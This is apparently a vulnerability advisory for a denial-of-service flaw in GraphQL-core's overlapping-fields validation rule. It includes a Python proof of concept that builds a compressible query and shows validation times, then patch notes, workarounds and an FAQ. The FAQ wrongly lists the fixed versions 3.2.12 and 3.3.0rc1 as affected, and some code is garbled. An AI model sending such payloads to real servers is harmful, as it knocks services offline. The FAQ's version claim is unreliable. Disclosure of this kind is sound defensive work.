CVE-2026-75507: GraphQL-core: Denial of service via quadratic complexity in the OverlappingFieldsCanBeMerged validation rule
Summary
The OverlappingFieldsCanBeMerged validation rule can be driven into quadratic — and in the worst case O(n²·m²) — running time by a small, highly compressible query. A single 364 KB document can occupy one CPU core for over five minutes during validation, before any resolver runs. Because the rule is part of specifiedrules and therefore enabled by default, every GraphQL-core based server is affected at default settings.
Details
OverlappingFieldsCanBeMerged compares every pair of fields that share a response name and recurses into their sub-selections. The memoization added for CVE-2023-26144 (GHSA-9pv7-vfvm-6vr7) is keyed by named fragment identity, so it does not cover this path: inline fragments are flattened into the parent selection set before the cache is consulted, and therefore every pair is re-compared from scratch at every nesting level.
Repeating an inline fragment that selects the same response name at two nesting levels multiplies the two effects. There was no comparison budget and no validation timeout, so the rule ran to completion regardless of cost.
The cost is incurred in the validation phase, which is what makes this hard to defend against from outside the library: query-depth limiters, complexity analyzers and cost estimators all operate on the parsed document after validation, and the malicious document is trivially shallow (depth 3, complexity 1). The payload is also one short string repeated many times, so it compresses to a few kilobytes and slips past body-size limits and WAF inspection that only see the compressed request.
Proof of concept
python import time from graphql import buildschema, parse, validate
schema = buildschema( "type Query { field: Node } type Node { f: Node, g: Node, x: String }" )
def gen(n: int, m: int) -> str: inner = " ".join(["... on Node { x }"] m) outer = " ".join([f"... on Node {{ f {{ {inner} }} }}"] n) return f"{{ field {{ {outer} }} }}"
query = gen(200, 100) # 364 KB, gzips to a few KB document = parse(query) start = time.perfcounter() validate(schema, document) # returns no errors — it just burns CPU print(f"{(time.perfcounter() - start):.0f}s")
Measured on GraphQL-core 3.2.8 / CPython 3.12 / Linux x8664:
| n | m | query size | validation time | |---|---|---|---| | 20 | 20 | 7.6 KB | 0.16 s | | 50 | 50 | 46 KB | 5.2 s | | 100 | 100 | 182 KB | 81 s | | 200 | 100 | 364 KB | 319 s |
Doubling n at fixed m quadruples the time, as expected for a quadratic outer loop driving a quadratic inner walk.
Impact
Denial of service. One request pins one worker process for minutes; because CPython holds the GIL for this pure-CPU work, a handful of concurrent requests can saturate a typical multi-worker deployment. No authentication is required, and no data is disclosed or modified.
Patches
Fixed in 3.2.12 and 3.3.0rc1.
Validation now enforces a per-document comparison budget. Once MAXFIELDCOMPARISONS (default 250000) pairwise comparisons have been made, the rule aborts and reports a GraphQLError instead of running to completion:
Query is too complex to validate for overlapping fields: exceeded 250000 field comparisons. Validation was aborted.
The default is far above what any realistic query reaches. It is a module-level constant and can be raised or lowered:
python from graphql.validation.rules import overlappingfieldscanbemerged
overlappingfieldscanbemerged.MAXFIELDCOMPARISONS = 1000000
Note the behaviour change: a pathological query that previously validated — slowly — now produces a validation error.
Workarounds
If you cannot upgrade, reject oversized documents before they reach validate(). Note that a request body-size limit must be applied to the decompressed body to be effective here, since the payload is highly compressible. Removing OverlappingFieldsCanBeMergedRule from the rule set is not a safe workaround: it is a correctness rule required by the specification.
A body-size limit remains worthwhile after upgrading — the comparison budget bounds this specific rule, not overall request cost.
Credits
Reported by @BZHunt, who also reviewed the fixes before release. In memory of ZaX, who was the driving force behind this discovery.
Independently found and diagnosed by @bcmyguest, who also proposed a fix.
Other sources
GraphQL-core is a Python port of the GraphQL.js reference implementation. From 3.0.0 until 3.2.12 and 3.3.0rc1, the OverlappingFieldsCanBeMerged rule in specifiedrules repeatedly compares fields that share response names and recursively re-compares flattened inline fragments during the validation phase. The prior named-fragment memoization does not cover this path, so nested repeated inline fragments can drive quadratic and worst-case O(n²·m²) CPU work before any resolver or AST-based depth or complexity control runs. An unauthenticated remote attacker can submit a shallow, highly compressible GraphQL query that pins a worker process and can saturate a multi-worker service. This issue is fixed in versions 3.2.12 and 3.3.0rc1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/graphql-coreto a version that resolves this vulnerability.Fixed in 3.3.0rc1 - Upgrade
Upgrade
pip/graphql-coreto a version that resolves this vulnerability.Fixed in 3.2.12 - Upgrade
Upgrade
GraphQL-coreto a version that resolves this vulnerability.Fixed in 3.2.12 - Upgrade
Upgrade
GraphQL-coreto a version that resolves this vulnerability.Fixed in 3.3.0rc1 - Compensating control
Enforce a request body-size limit on the decompressed body; if unable to upgrade, reject oversized GraphQL documents before they reach validate().
Event History
Frequently Asked Questions
Which deployments are affected?
Deployments using GraphQL-core versions 3.0.0 through 3.2.12, as well as 3.3.0rc1, are affected. The issue is in GraphQL validation and can be reached before resolvers run.
Does an attacker need an account or a complex query?
No authentication or user interaction is required. An attacker can send a shallow, highly compressible query containing nested repeated inline fragments to trigger excessive validation CPU use.
Will GraphQL depth or complexity limits mitigate this issue?
Not reliably. The expensive work occurs during validation before resolver execution and before AST-based depth or complexity controls run.
What is the operational impact of exploitation?
A malicious query can pin a worker process; repeated requests can saturate a service using multiple workers. The reported impact is denial of service rather than confidentiality or integrity loss.
What versions contain the fix?
The issue is fixed in GraphQL-core 3.2.12 and 3.3.0rc1.